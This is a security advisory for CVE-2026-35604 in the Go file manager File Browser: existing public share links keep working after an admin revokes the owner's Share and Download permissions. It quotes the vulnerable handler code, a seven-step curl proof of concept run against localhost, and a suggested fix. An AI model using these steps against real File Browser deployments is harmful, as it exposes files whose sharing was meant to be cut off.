CVE-2026-35604: File Browser share links remain accessible after Share/Download permissions are revoked
When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).
Published Apr 8, 2026
Affected packages
github.com/filebrowser/filebrowser/v2
- Ecosystem
- Go
- Affected
- < 2.63.1
- Fixed in
- 2.63.1
- Check
go list -m github.com/filebrowser/filebrowser/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).
Details
Share creation (http/share.go:21-29) correctly checks permissions:
func withPermShare(fn handleFunc) handleFunc { return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { if !d.user.Perm.Share || !d.user.Perm.Download { return http.StatusForbidden, nil } return fn(w, r, d) }) }
But share access (http/public.go:18-87, withHashFile) does not:
var withHashFile = func(fn handleFunc) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { link, err := d.store.Share.GetByHash(id) // line 21: checks share exists authenticateShareRequest(r, link) // line 26: checks password user, err := d.store.Users.Get(...) // line 31: checks user exists d.user = user // line 36: sets user file, err := files.NewFileInfo(...) // line 38: gets file // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download } }
Proof of Concept (runtime-verified)
Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":""}')
Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":[],"current_password":"", "data":{"username":"testuser","password":"TestPass123!","scope":".", "perm":{"share":true,"download":true,"create":true}}}'
Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"TestPass123!"}') curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}
Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
Returns: file content (200 OK)
Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":["all"],"current_password":"", "data":{"id":2,"username":"testuser","scope":".", "perm":{"share":false,"download":false,"create":true}}}'
Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USER_TOKEN" -d '{}'
Returns: 403 Forbidden (correct)
Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
Returns: file content (200 OK) - SHOULD be 403
Impact
When an admin revokes a user's Share or Download permissions:
- New share creation is correctly blocked (403)
- But all existing shares created by that user remain fully accessible to unauthenticated users
- The admin has a false sense of security: they believe revoking Share permission stops all sharing
This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").
Suggested Fix
Add permission re-validation in withHashFile:
user, err := d.store.Users.Get(d.server.Root, link.UserID) if err != nil { return errToStatus(err), err }
// Verify the share owner still has Share and Download permissions if !user.Perm.Share || !user.Perm.Download { return http.StatusForbidden, nil }
d.user = user
---
Update: Fix submitted as PR #5888.
Credited to kodareef5.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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